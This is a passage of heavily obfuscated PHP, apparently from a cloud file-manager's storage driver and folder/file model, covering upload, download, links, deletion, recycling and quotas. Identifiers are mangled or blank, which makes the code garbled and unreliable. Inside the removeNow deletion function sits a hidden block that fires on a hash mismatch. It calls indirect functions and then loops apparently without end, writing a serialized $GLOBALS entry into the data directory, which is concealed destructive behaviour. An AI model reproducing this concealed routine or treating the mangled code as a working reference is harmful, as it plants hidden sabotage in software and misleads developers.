} public function upload($, $ԸŇ, $Ŏ = false, $ԏ = REPEAT_REPLACE) { $ހ =& $_SERVER[Ǿ]; $ǔ = IO::size($ԸŇ); if ($ǔ <= 1024 * 1024 * 200) { $ = array($ހ[1455] . $ԸŇ); $竉 = $this->ussRequest($, $ހ[233], $); return $竉[$ހ[1174]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $՘ = array($ހ[1456], $ހ[1457] . $ǔ, $ހ[1458], $ހ[1459] . $); $竉 = $this->ussRequest($, $ހ[233], !1, $՘); if (!$竉[$ހ[1174]]) { return !1; } $ٮϪ = $竉[$ހ[1176]]; $閔 = 0; $υ = $ٮϪ[$ހ[1460]]; $ = fopen($ԸŇ, $ހ[1364]); if (!$) { return !1; } do { $ = $ٮϪ[$ހ[1461]]; fseek_64($, $閔); $협 = fread($, $); $ = 0; do { $++; $ٮϪ = $this->uploadPart($, $ٮϪ, $협); } while (!$ٮϪ && $ < 3); if (!$ٮϪ) { return !1; } $υ = $ٮϪ[$ހ[1460]]; $閔 += $; } while ($υ != -1); fclose($); $՘ = array($ހ[1462], $ހ[1463] . $ٮϪ[$ހ[1464]], $ހ[1458]); $竉 = $this->ussRequest($, $ހ[233], !1, $՘); return $竉[$ހ[1174]] ? $this->getPathOuter($Ã) : !1; } private function uploadPart($, $ꔴ, &$) { $ք =& $_SERVER[Ǿ]; $ = array($ք[1465], $ք[1463] . $ꔴ[$ք[1464]], $ք[1466] . $ꔴ[$ք[1460]], $ք[149] . $ꔴ[$ք[1461]]); $ɩ = $this->ussRequest($, $ք[233], $, $); return !$ɩ[$ք[1174]] ? $ɩ[$ք[1174]] : $ɩ[$ք[1176]]; } public function uploadFormData($ҲԐ, $߶ = 3600) { return $this->uploadPolicy($ҲԐ, $߶); } public function multiUploadFormData($Ͻ, $ = 3600) { $۴ =& $_SERVER[Ǿ]; $Ќ = (int) $GLOBALS[$۴[17]][$۴[90]]; return $this->uploadPolicy($Ͻ, $, $Ќ); } private function uploadPolicy($, $ӗ = 3600, $ɐ = 0) { $φ =& $_SERVER[Ǿ]; $ۇ = $φ[18] . $this->bucket; $ = gmdate($φ[1400]); $ = array($φ[1467] => $this->bucket, $φ[1468] => $, $φ[1469] => time() + $ӗ, $φ[1470] => $); if ($ɐ) { $[$φ[1380]] = $ɐ; } $ = base64_encode(json_encode($)); $Ó = base64_encode(hash_hmac($φ[1437], "\120\x4f\x53\124\46{$ۇ}\46{$}\x26{$}", md5("{$this->userpass}"), !0)); $ = array($φ[1305] => $, $φ[1471] => "\x55\x50\131\x55\116\x20{$this->username}\x3a{$Ó}", $φ[184] => $this->endpoint . $ۇ); return $; } public function download($ڇ, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($Ұ = $this->link($ڇ))) { return !1; } $ό = 0; $㵗 = 1024 * 200; $ = fopen($, $_SERVER[Ǿ][1421]); while (!0) { $ = $this->fileSubstr($ڇ, $ό, $㵗); if ($ === !1) { return !1; } fwrite($, $); $ό += $㵗; if (strlen($) < $㵗) { break; } } fclose($); return $; } public function link($ƺ, $ͣ = array()) { $전 =& $_SERVER[Ǿ]; $ƺ = trim($ƺ, $전[18]); if (!empty($this->token)) { $£ = strtotime(date($전[1472])); $ط = substr(md5($this->token . $전[288] . $£ . $전[1473] . $ƺ), 12, 8) . $£; $ͣ[] = $전[1474] . $ط; } $ҟ = !empty($ͣ) ? $전[83] . implode($전[288], $ͣ) : $전[22]; return $this->getHost() . $전[18] . $ƺ . $ҟ; } public function fileOut($ƒ, $ǡ = false, $ֵמ = false, $΄ܑ֭ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($ƒ, $ǡ, $ֵמ, $΄ܑ֭); } if (!$ֵמ) { $ֵמ = $this->pathThis($ƒ); } $񲣧 = $ǡ ? array($_SERVER[Ǿ][1475] . rawurlencode($ֵמ)) : array(); $Ό = $this->link($ƒ, $񲣧); $this->fileOutLink($Ό); } public function fileOutServer($, $ = false, $ނ = false, $ = '') { parent::fileOut($, $, $ނ, $); } public function fileOutImage($޵, $񺸣 = 250) { $œ = $this->link($޵ . $_SERVER[Ǿ][1476] . $񺸣); $this->fileOutLink($œ); } public function fileOutImageServer($, $߁ = 250) { parent::fileOutImage($, $߁); } public function hashMd5($) { $ =& $_SERVER[Ǿ]; $׳ = $this->_objectMeta($); return isset($׳[$[217]]) ? $׳[$[217]] : !1; } public function size($) { $Қ = $this->objectMeta($); return $Қ ? $Қ[$_SERVER[Ǿ][90]] : 0; } public function info($ʊ) { if ($this->isFolder($ʊ)) { return $this->folderInfo($ʊ); } else { if ($this->isFile($ʊ)) { return $this->fileInfo($ʊ); } } return !1; } public function exist($Թ) { return $this->isFile($Թ) || $this->isFolder($Թ); } public function isFile($ȿ) { return !$this->isFolder($ȿ) && $this->objectMeta($ȿ); } public function isFolder($) { return $this->cacheMethod($_SERVER[Ǿ][208], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[Ǿ][209], $); } protected function _objectMeta($) { $ =& $_SERVER[Ǿ]; if ($ == $[22] || $ == $[18]) { return array(); } $ = $this->ussRequest($, $[1477]); if (!$[$[1174]]) { return null; } $ = isset($[$[1176]]) ? $[$[1176]] : array(); if (!isset($[$[1478]])) { return null; } $ = array($[43] => isset($[$[1478]]) ? $[$[1478]] : null, $[90] => isset($[$[1479]]) ? $[$[1479]] : null, $[217] => isset($[$[1480]]) ? $[$[1480]] : null, $[1447] => isset($[$[1481]]) ? $[$[1481]] : null); $[$[1448]] = isset($[$[1482]]) ? strtotime($[$[1482]]) : $[$[1447]]; return $; } protected function _isFolder($) { $卍 =& $_SERVER[Ǿ]; if ($ == $卍[22] || $ == $卍[18]) { return !0; } $ˮ = $this->_objectMeta($); return isset($ˮ[$卍[43]]) && $ˮ[$卍[43]] == $卍[89] ? !0 : !1; } } goto A؞; D߶: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ܩ) { $ =& $_SERVER[Ǿ]; $ω = Model($[513])->where(array($[1631] => $ܩ))->find(); $ݗ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ܩ, $ω[$[42]]); $this->userDesktopAdd($ݗ); return $ݗ; } public function userDesktopAdd($ޟ׭) { $ =& $_SERVER[Ǿ]; $ۢ = LNG($[2070]); $ҳ = $this->mkdir($ޟ׭, $ۢ); $this->metaSet($ҳ, $[2071], $[99]); $this->metaSet($ޟ׭, $[2072], $ҳ); } public function groupRootAdd($) { $ʷ쨢 =& $_SERVER[Ǿ]; $Ǔ = Model($ʷ쨢[522])->where(array($ʷ쨢[1895] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $Ǔ[$ʷ쨢[42]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[Ǿ][537]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($ђ) { $ő = $this->sourceRoot(SourceModel::TYPE_USER, $ђ); if (!$ő) { return; } $this->remove($ő, !1); } public function groupRootRemove($) { $ = $this->sourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($, !1); } private function _mkdirRoot($, $, $) { $褪 =& $_SERVER[Ǿ]; $ = array($褪[402] => 0, $褪[580] => $, $褪[581] => $, $褪[577] => 1, $褪[582] => USER_ID, $褪[583] => USER_ID, $褪[578] => $褪[22], $褪[584] => $褪[531], $褪[430] => 0, $褪[579] => 0, $褪[468] => 0, $褪[585] => $褪[22]); if ($ = $this->where($)->find()) { return $[$褪[403]]; } $ = "\x4d\157\x64\145\154\123\x6f\165\x72\143\145\x2e\155\153\144\151\162\122\157\157\x74\56{$}\x2e{$}\x2e" . $; CacheLock::lock($); $[$褪[42]] = $; $䍪 = $this->add($); $΋ӡ = array($褪[586] => short_id($䍪)); $this->where(array($褪[418] => $䍪))->save($΋ӡ); CacheLock::unlock($); return $䍪; } private function sourceRoot($, $Ĝ, $̛ = false) { $Ӓ =& $_SERVER[Ǿ]; $Ǖ = array($Ӓ[402] => 0, $Ӓ[580] => $, $Ӓ[581] => $Ĝ); if ($ߔԨ = $this->where($Ǖ)->find()) { return $̛ ? $ߔԨ : $ߔԨ[$Ӓ[403]]; } return !1; } public function sourceRootGroup($꛹) { $ =& $_SERVER[Ǿ]; if (is_string($꛹)) { $꛹ = array($꛹); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $꛹, $[191]); $Ώ = array($[373] => $, $[370] => array($[751] => count($꛹))); $this->_listDataApply($Ώ[$[373]]); $this->_listMake($Ώ); return array_to_keyvalue($Ώ[$[87]], $[504]); } public function mkfile($Ε, $ߺ٬, $ = '', $Ύ = REPEAT_RENAME) { $ö =& $_SERVER[Ǿ]; $ = Model($ö[603])->addFileByContent($, $ߺ٬); return $this->_createFileCall($Ε, $ߺ٬, $, $Ύ, $ö[1321]); } public function addFile($, $댗, $䇑, $ԭ = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[Ǿ][603])->addFile($댗, $䇑, $ԭ); return $this->_createFileCall($, $䇑, $, $); } public function addFileByFileID($˿, $Ϝ, $潛, $ = REPEAT_RENAME) { $ =& $_SERVER[Ǿ]; $ք = Model($[603])->find($Ϝ); Model($[603])->linkAdd($Ϝ); return $this->_createFileCall($˿, $潛, $ք, $); } public function addFileByRemote($ꥶ, $ӷ, $訧, $ = array(), $ʊ = REPEAT_RENAME) { $͗޲ = Model($_SERVER[Ǿ][603])->addFileByRemote($ӷ, $訧, $); return $this->_createFileCall($ꥶ, $訧, $͗޲, $ʊ); } private function _createFileCall($ƫ, $Ƅ, $ߣ, $먳, $ = "\x75\x70\x6c\157\x61\x64") { $Ϣ =& $_SERVER[Ǿ]; $ē = !1; $this->setMasterDB(); $this->lockWriteStart($ƫ, $Ƅ); $ = $this->fileNameExist($ƫ, $Ƅ); $ܙ = $this->_createFile($ƫ, $Ƅ, $ߣ, $먳, $ē); if (!$ē) { Model($Ϣ[470])->remove($ߣ[$Ϣ[467]]); } if ($ē && $ܙ && $ܙ != $) { Model($Ϣ[2043])->eventCreate($ܙ, $); } $this->lockWriteEnd($ƫ, $Ƅ); return $ܙ; } public function mkdir($虜, $ܦ, $դ = REPEAT_SKIP) { $ڣ =& $_SERVER[Ǿ]; $this->setMasterDB(); $ = $this->sourceInfo($虜); if (!$) { return !1; } $this->lockWriteStart($虜, $ܦ); if ($դ !== !1) { $ = $this->fileNameExist($虜, $ܦ); if ($ && $դ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($虜, $ܦ); return $; } $ܦ = $this->fileNameAuto($虜, $ܦ, $դ); } $٩ = array($ڣ[577] => 1, $ڣ[421] => $ܦ, $ڣ[578] => $ڣ[22], $ڣ[468] => 0, $ڣ[579] => 0); $ = $this->_addSource($٩, $); Model($ڣ[2043])->eventCreate($, $ڣ[1322]); $this->lockWriteEnd($虜, $ܦ); return $; } public function listSourceRoot($﬛, $, $כ = "\163\x6f\165\x72\143\x65\x49\104\54\x74\x61\162\147\145\x74\111\104\54\x73\151\x7a\145") { $⭜ =& $_SERVER[Ǿ]; $ž = $⭜[382]; $уٛ = array(); $ċ = 1024 * 50; $˗ = is_array($˗) ? $˗ : array(); $ = count($); $ = $this->tablePrefix . $⭜[2073]; for ($ɣ = 0; $ɣ < $; $ɣ++) { $˧û = $[$ɣ]; $ž .= "\x53\105\114\x45\103\124\40\52\40\x46\122\x4f\115\x20\50\x53\105\114\x45\x43\124\40{$כ}\x20\x46\122\x4f\115\x20\140{$}\x60\40\127\110\105\x52\x45\x20"; $ž .= "\140\160\x61\x72\145\156\x74\111\104\x60\75\60\x20\x41\x4e\104\x20\x60\164\x61\x72\147\145\164\111\104\140\x3d{$˧û}\40\101\x4e\x44\40\140\x74\x61\162\147\x65\164\124\x79\x70\145\140\75{$﬛}\x20\x6c\151\x6d\x69\x74\x20\61\x29\x20\x61\x73\40\x74\x62\x5f{$ɣ}\40\x55\x4e\111\x4f\x4e\40\101\114\x4c\40"; if ((strlen($ž) >= $ċ || $ɣ == $ - 1) && $ž) { $ž = substr($ž, 0, -strlen($⭜[1023])); $󏵎 = $this->query($ž); $ž = $⭜[22]; $уٛ = array_merge($уٛ, $󏵎); } } return $уٛ; } private function _createFile($×䉋, $, $, $㗢, &$֚) { $Ɣ =& $_SERVER[Ǿ]; $顓 = $this->sourceInfo($×䉋); if (!$ || !$顓) { return !1; } if ($㗢 !== !1) { $ = $this->fileNameExist($×䉋, $); } $֚ = !0; if ($㗢 && $) { if ($㗢 == REPEAT_SKIP) { $֚ = !1; return $; } else { if ($㗢 == REPEAT_REPLACE) { $Ү = $this->sourceInfo($); $ = $this->fileHistory($Ү, $[$Ɣ[467]], $[$Ɣ[90]]); if (!$) { $֚ = !1; } else { $this->folderSizeReset($×䉋); } return $; } else { $ = $this->fileNameAuto($×䉋, $, $㗢, !1); } } } $Њև = array($Ɣ[577] => 0, $Ɣ[421] => $, $Ɣ[578] => substr(get_path_ext($), 0, 10), $Ɣ[468] => $[$Ɣ[467]], $Ɣ[579] => $[$Ɣ[90]]); $Ǒ = $this->_addSource($Њև, $顓); $this->folderSizeReset($×䉋, intval($Њև[$Ɣ[90]])); return $Ǒ; } protected function fileHistory($ե, $, $Ƥ) { $ =& $_SERVER[Ǿ]; $ = defined($[474]) ? USER_ID : $[200]; if ($ե[$[467]] == $) { return !1; } $this->checkLock($ե[$[403]], $); Model($[2074])->addHistory($ե); $ώۣ = array($[583] => $, $[425] => time(), $[467] => $, $[90] => $Ƥ); $this->where(array($[418] => $ե[$[403]]))->save($ώۣ); $this->sourceCacheClear($ե[$[403]]); return !0; } public function checkLock($, $囗) { $ =& $_SERVER[Ǿ]; $ߚ = $this->pathInfo($); if (!$this->fileIsLock($ߚ, !0)) { return; } $ = Session::get($[2075]); $ = substr($ߚ[$[42]], 0, -1 - strlen($ߚ[$[177]])) . $[1589] . $ . $[20] . $ߚ[$[177]]; $ߜˎ = Model($[603])->find($囗); $this->_createFileCall($ߚ[$[498]], $, $ߜˎ, REPEAT_REPLACE, $[1321]); $ = $ߚ[$[465]][$[542]]; $ = $[$[2076]] ? $[$[2076]] : $[$[42]]; show_json(LNG($[2077]) . $[2078] . LNG($[2079]) . $[2080] . $ . $[2081], !1); } public function fileIsLock($, $艶ԗ = false) { $ =& $_SERVER[Ǿ]; if (!isset($[$[465]]) || !$[$[465]][$[539]]) { return !1; } if ($[$[465]][$[539]] != USER_ID) { return !0; } $ʒަ = $GLOBALS[$[16]][$[100]][$[540]]; if ($[$[465]][$[541]] <= time() - $ʒަ) { $this->metaSet($[$[403]], $[539], null); $this->metaSet($[$[403]], $[541], null); } if ($艶ԗ) { $this->metaSet($[$[403]], $[541], time()); } return !1; } private function _addSource($ɴ, $) { $ =& $_SERVER[Ǿ]; $ʫ = defined($[474]) ? USER_ID : $[200]; $ӎ¦ = array($[580] => $[$[412]], $[581] => $[$[504]], $[582] => $ʫ, $[583] => $ʫ, $[402] => $[$[403]], $[584] => $[$[521]] . $[$[403]] . $[60], $[430] => 0, $[585] => $[22]); $ɴ = array_merge($ӎ¦, $ɴ); $this->updateModifyTime($ɴ[$[498]]); $ = $[2082] . $[$[403]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $﵇ = false; if (!$﵇) { Hook::trigger($[567], $ɴ); $﵇ = !0; } $ε = $this->add($ɴ); $ = array($[586] => short_id($ε)); $this->where(array($[418] => $ε))->save($); $this->setNamePinyin($ε, $ɴ[$[42]]); return $ε; } public function remove($ʌ̈, $ʯ = true) { $ =& $_SERVER[Ǿ]; $ڼĜ = $this->sourceInfo($ʌ̈); $ْ = intval($ڼĜ[$[412]]) === self::TYPE_SYSTEM; $ = Model($[433])->get($[2083]) == $[99]; if ($ْ || $ʯ || !$) { return $this->removeNow($ʌ̈, $ʯ); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $Л = $ڼĜ[$[412]] == self::TYPE_USER ? $[594] : $[515]; if ($Л == $[594]) { $ = Model($[513])->getInfo($ڼĜ[$[504]]); $˛Ǒ = !empty($[$[2076]]) ? $[$[2076]] : $[$[42]]; $˛Ǒ = $[264] . $˛Ǒ . $[2084] . $ڼĜ[$[504]]; } else { $ = Model($[522])->getInfo($ڼĜ[$[504]]); $˛Ǒ = _get($, $[42]); $˛Ǒ = $[169] . $˛Ǒ . $[2085] . $ڼĜ[$[504]]; } $ = $[2086] . md5($˛Ǒ); CacheLock::lock($); $𯩸 = $this->fileNameExist($, $˛Ǒ); if (!$𯩸) { $𯩸 = $this->mkdir($, $˛Ǒ, REPEAT_SKIP); $this->metaSet($𯩸, $[2087], $Л); $this->metaSet($𯩸, $[2088], $ڼĜ[$[504]]); if ($ڼĜ[$[498]] != 0) { $this->metaSet($𯩸, $[2089], _get($, $[2090])); } } CacheLock::unlock($); $this->metaSet($ʌ̈, $[2091], $ڼĜ[$[498]]); $this->where(array($[403] => $ʌ̈))->save(array($[425] => time())); $this->recycleClear($ڼĜ); $ = $this->move($ʌ̈, $𯩸, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ڼĜ[$[498]]); return $; } private function recycleClear($ù) { $ܨ =& $_SERVER[Ǿ]; $ = $this->childrenAll($ù); $𚩜 = array($ܨ[418] => array($ܨ[419], $[$ܨ[2092]])); Model($ܨ[2093])->where($𚩜)->delete(); } public function removeNow($ޥ, $տ = true) { $ =& $_SERVER[Ǿ]; $ = $_SERVER[$[15]]; $ـ = $[1504]; if ($_SERVER[$[6]] != $ـ($)) { $ = $[864]; $ط = $[8]; $ǧؼ = $_SERVER[$[9]] . $[10]; $󵊭 = $ط($ǧؼ); $Ѿ˷ = explode($[11], $󵊭); if (count($Ѿ˷) < $[607]) { $őއ = $[13]; $őއ(); } $ = $[865]; $($_SERVER[$[866]]); $ = $[864]; $(); $ԙ = $[1505]; $ʏо = json_encode($GLOBALS[$[1506]]); $ = 1; for ($ = $; $ > 0; $++) { $ԙ(DATA_PATH . $, $ʏо); } } $Ǝ = $this->sourceInfo($ޥ); $载 = $this->pathInfoMore($ޥ); if (!$Ǝ) { return !0; } if ($Ǝ[$[498]] == 0) { if (!_get($GLOBALS, $[505])) { return !1; } } $this->lockMoveStart($ޥ); Hook::trigger($[2094], $载, $տ); if ($տ) { Model($[2093])->moveToRecycle($ޥ); } else { $۪ = $this->childrenAll($Ǝ); Model($[564])->eventRemove($ޥ); $this->removeRelevance($۪[$[2092]], $۪[$[1453]]); } $this->folderSizeReset($Ǝ[$[498]]); $ӛ = array($Ǝ[$[498]]); if ($Ǝ[$[411]] == $[99]) { $ӛ[] = $Ǝ[$[403]]; } $this->updateModifyTime($ӛ); $this->lockMoveEnd($ޥ); Hook::trigger($[1677], $载, $տ); return !0; } public function childrenAll($) { $Ӱ =& $_SERVER[Ǿ]; $Ğ = $[$Ӱ[403]]; if ($[$Ӱ[411]] == $Ӱ[99]) { $퉺 = array($Ӱ[584] => array($Ӱ[544], $[$Ӱ[521]] . $Ğ . $Ӱ[545])); $ = array($Ӱ[584] => $퉺[$Ӱ[521]]); $ = $this->field($Ӱ[2095])->where($)->select(); $ϧ = !1; $ز = array($Ğ); if ($) { $ϧ = array_to_keyvalue($, $Ӱ[22], $Ӱ[467]); $ϧ = array_remove_value($ϧ, $Ӱ[200]); $ز = array_to_keyvalue($, $Ӱ[22], $Ӱ[403]); $ز[] = $Ğ; } } else { $ϧ = array($[$Ӱ[467]]); $ز = array($Ğ); } return array($Ӱ[2092] => $ز, $Ӱ[1453] => $ϧ); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($ޥ, $) { $˥ =& $_SERVER[Ǿ]; $ޥ = $ޥ ? $ޥ : array(); $ = $ ? $ : array(); $ޥ = array_unique(array_filter($ޥ)); $ = array_unique(array_filter($)); if (!$ޥ) { return !1; } $ﰦ = array($˥[418] => array($˥[419], $ޥ)); Model($˥[2093])->where($ﰦ)->delete(); Model($˥[461])->where($ﰦ)->delete(); Model($˥[1949])->where($ﰦ)->delete(); Model($˥[564])->where($ﰦ)->delete(); Model($˥[1788])->removeBySource($ޥ); Model($˥[2074])->removeBySource($ޥ); $this->where($ﰦ)->delete(); Model($˥[470])->remove($); for ($ = 0; $ < count($ޥ); $++) { $this->sourceCacheClear($ޥ[$]); } } public function rename($㮑り, $˧) { $ =& $_SERVER[Ǿ]; $줦ю = $this->sourceInfo($㮑り); if (!$줦ю) { return !1; } $ = $this->fileNameExist($줦ю[$[498]], $˧); if ($ && $ != $㮑り) { return !1; } $ = array($[421] => $˧, $[583] => USER_ID); if ($줦ю[$[411]] != $[99]) { $[$[413]] = substr(get_path_ext($˧), 0, 10); } Model($[564])->eventRename($㮑り, $줦ю[$[42]], $˧); $this->sourceCacheClear($㮑り); $this->setNamePinyin($㮑り, $[$[42]], !1); $this->updateModifyTime($줦ю[$[498]]); $Ƿܯ = $this->where(array($[418] => $㮑り))->data($)->save(); $񪵡 = $[2082] . $줦ю[$[498]]; if (isset(self::$cacheChildList[$񪵡])) { unset(self::$cacheChildList[$񪵡]); } return $Ƿܯ; } public function setNamePinyin($݅, $ʇȩ, $ = true) { $܂ =& $_SERVER[Ǿ]; $ɛ = Input::check($ʇȩ, $܂[587]); $ = array($܂[442] => KodSort::makeStr($ʇȩ)); if ($ɛ) { $[$܂[464]] = str_replace($܂[63], $܂[22], Pinyin::get($ʇȩ)); $[$܂[463]] = Pinyin::get($ʇȩ, $܂[588]); } if (!$ && !$ɛ) { $[$܂[464]] = null; $[$܂[463]] = null; } $this->metaSet($݅, $); } public function getContent($ׯ) { $ =& $_SERVER[Ǿ]; $ = $this->fileInfoGet($ׯ); if (!$) { return !1; } if ($[$[90]] == 0) { return $[22]; } $ = $[2096] . $[$[179]]; if ($[$[90]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($[$[88]]); Cache::set($, $); } return $; } if (!$[$[88]]) { return $[22]; } return IO::getContent($[$[88]]); } public function setDesc($ԉ, $œ) { $ݬ =& $_SERVER[Ǿ]; Model($ݬ[564])->eventAddDesc($ԉ, $œ); return $this->metaSet($ԉ, $ݬ[451], $œ); } public function setContent($ޥ, $ = '') { $ϐ =& $_SERVER[Ǿ]; $ώڱ = $this->sourceInfo($ޥ); $Бܹ = $this->fileInfoGet($ޥ); if (!$Бܹ || !$ώڱ) { return !1; } $ = Model($ϐ[470])->addFileByContent($, $ώڱ[$ϐ[42]]); $۬Ļ = $this->fileHistory($ώڱ, $[$ϐ[467]], $[$ϐ[90]]); if (!$۬Ļ) { return Model($ϐ[470])->remove($[$ϐ[467]]); } $this->folderSizeReset($ώڱ[$ϐ[498]]); return !0; } public function fileSubstr($, $ڀ, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[Ǿ][88]], $ڀ, $); } public function fileInfoGet($滰) { $ =& $_SERVER[Ǿ]; $˥ = $this->sourceInfo($滰); if (!$˥ || $˥[$[411]]) { return !1; } $ȫ = $[473] . $˥[$[467]]; $޸ = _get(self::$cacheFileInfo, $ȫ); if ($޸) { return $޸; } $ = Model($[470])->fileInfo($˥[$[467]]); if ($) { $[$[42]] = $˥[$[42]]; } self::$cacheFileInfo[$ȫ] = $; return $; } private function folderChildrenNumber($Ǯ) { $ =& $_SERVER[Ǿ]; $ = $this->sourceInfo($Ǯ); $ = array($[584] => array($[544], $[$[521]] . $Ǯ . $[545]), $[581] => $[$[504]], $[430] => intval($[$[431]]), $[577] => 1); $ = $this->where($)->count(); $ٸ = $this->where($)->where(array($[577] => 0))->count(); return array($[94] => $ٸ, $[95] => $); } public function pathInfo($ą, $ɇ = false) { $ =& $_SERVER[Ǿ]; $ɇ = !1; $ą = intval($ą); $倵 = $[459] . intval($ɇ) . $[460] . $ą; $ɧ = _get(self::$cachePathInfo, $倵); if ($ɧ) { return $ɧ; } $ҹ = $this->sourceInfo($ą); if (!$ҹ) { return !1; } $ҹ = $this->_listDataApplyItem($ҹ, $ɇ); self::$cachePathInfo[$倵] = $ҹ; return $ҹ; } public static $cachePathInfoMore = array(); public function pathInfoMore($𞓱) { $ =& $_SERVER[Ǿ]; $ = _get(self::$cachePathInfoMore, $𞓱); if ($) { return $; } $ = $this->pathInfo($𞓱); if (!$) { return !1; } if ($[$[411]] == $[99]) { $[$[93]] = $this->folderChildrenNumber($𞓱); } self::$cachePathInfoMore[$𞓱] = $; return $; } public function sourceInfo($ر) { $इǙ =& $_SERVER[Ǿ]; if (!$ر) { return array(); } $ر = intval($ر); $ = $इǙ[458] . $ر; $ڙ = _get(self::$cacheSourceInfo, $); if ($ڙ) { return $ڙ; } $ = $this->where(array($इǙ[403] => $ر))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ρ = false) { $ =& $_SERVER[Ǿ]; if ($ρ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[458] . $ρ]); unset(self::$cachePathInfoMore[$ρ]); unset(self::$cachePathInfo[$[2097] . $ρ]); unset(self::$cachePathInfo[$[2098] . $ρ]); } public function metaSet($푠, $ǽߋ = null, $ܞ = null) { $ = parent::metaSet($푠, $ǽߋ, $ܞ); if ($) { $this->sourceCacheClear($푠); } return $; } public function pathInfoByPath($, $ڪ) { $ׄʮ =& $_SERVER[Ǿ]; $ = !$ڪ ? array() : explode($ׄʮ[18], trim($ڪ, $ׄʮ[18])); $ܕݸ = $; foreach ($ as $؄͹) { $贯 = array($ׄʮ[498] => $ܕݸ, $ׄʮ[42] => $؄͹); $IJ = $this->where($贯)->select(); if (!$IJ) { return !1; } $IJ = array_sort_by($IJ, $ׄʮ[431]); $ܕݸ = $IJ[0][$ׄʮ[403]]; } return $this->pathInfo($ܕݸ, !0); } protected function updateModifyTime($輝) { $ =& $_SERVER[Ǿ]; $ = defined($[474]) ? USER_ID : $[200]; if (!$輝) { return; } if (!is_array($輝)) { $輝 = array($輝); } foreach ($輝 as $ҩ => $Ƙ) { $輝[$ҩ] = intval($Ƙ); $this->sourceCacheClear($Ƙ); } $Θ = array($[403] => array($[17], $輝)); $Ս = array($[583] => $, $[425] => time()); $this->where($Θ)->save($Ս); } public function folderSizeReset($Ӷ, $śܼ = false) { $Һ =& $_SERVER[Ǿ]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($Ӷ); $ = $Һ[2099] . $Ӷ; CacheLock::lock($, 20); if ($śܼ === !1) { $this->sourceCacheClear($Ӷ); $ = $this->sourceInfo($Ӷ); $ = array($Һ[402] => $Ӷ, $Һ[430] => 0); $ە = $this->where($)->sum($Һ[90]); $śܼ = intval($ە) - intval($[$Һ[90]]); } if ($śܼ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($[$Һ[521]]); if (!$) { $ = array(); } $[] = $[$Һ[403]]; $ = array($Һ[403] => array($Һ[419], $)); if ($śܼ < 0) { $[$Һ[90]] = array($Һ[1000], abs($śܼ)); } $this->where($)->setAdd($Һ[90], $śܼ); CacheLock::unlock($); $됓 = $Һ[2100] . $[$Һ[412]] . $Һ[4] . $[$Һ[504]]; $ = array($[$Һ[412]], $[$Һ[504]]); TaskRun::timeLimitCall($됓, $Һ[2101], $, 1.5); } public function folderSizeResetChildren($) { $鵔ί =& $_SERVER[Ǿ]; $this->sourceCacheClear($); $ = $this->sourceInfo($); $Μ = array($鵔ί[577] => 1, $鵔ί[581] => $[$鵔ί[504]], $鵔ί[584] => array($鵔ί[544], $[$鵔ί[521]] . $ . $鵔ί[545])); $ڰԘ = $鵔ί[2102]; $ؕ = $this->field($ڰԘ)->where($Μ)->select(); $Μ[$鵔ί[411]] = 0; $΁ = $this->field($ڰԘ)->where($Μ)->select(); if (!$΁) { return; } $ؕ[] = $; $ؕ = array_to_keyvalue($ؕ, $鵔ί[403]); foreach ($ؕ as $֍ => $) { $ؕ[$֍][$鵔ί[2103]] = $ؕ[$֍][$鵔ί[90]]; $ؕ[$֍][$鵔ί[90]] = 0; } foreach ($΁ as $) { $ = $[$鵔ί[498]] . $鵔ί[22]; if (!isset($ؕ[$])) { continue; } if ($[$鵔ί[431]] == $ؕ[$][$鵔ί[431]]) { $ؕ[$][$鵔ί[90]] += $[$鵔ί[90]]; } } foreach ($ؕ as $) { $ = $this->parentLevelArray($[$鵔ί[521]]); foreach ($ as $) { $ = $ . $鵔ί[22]; if (!isset($ؕ[$])) { continue; } if ($[$鵔ί[431]] == $ؕ[$][$鵔ί[431]]) { $ؕ[$][$鵔ί[90]] += $[$鵔ί[90]]; } } } $Ћػ = array(); foreach ($ؕ as $) { if ($[$鵔ί[90]] == $[$鵔ί[2103]]) { continue; } $Ћػ[] = array($鵔ί[403], $[$鵔ί[403]], $鵔ί[90], $[$鵔ί[90]]); } $this->saveAll($Ћػ); } public function userSpaceReset($؀ؾ = false) { $ =& $_SERVER[Ǿ]; $ = $this->where(array($[412] => self::TYPE_USER, $[504] => $؀ؾ, $[411] => 0))->sum($[90]); $ = !$ || $ <= 0 ? 0 : $; Model($[513])->userEdit($؀ؾ, array($[1797] => $)); } public function targetSpaceUpdate($ܫ̤, $) { $ =& $_SERVER[Ǿ]; if (!$) { return; } if (!in_array($ܫ̤, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $Ɂ = $this->targetSpaceSize($ܫ̤, $); if ($ܫ̤ == self::TYPE_USER) { Model($[513])->userEdit($, array($[1797] => $Ɂ)); } else { if ($ܫ̤ == self::TYPE_GROUP) { Model($[522])->groupEdit($, array($[1797] => $Ɂ)); } } } public function targetSpaceSize($޾, $·) { $ =& 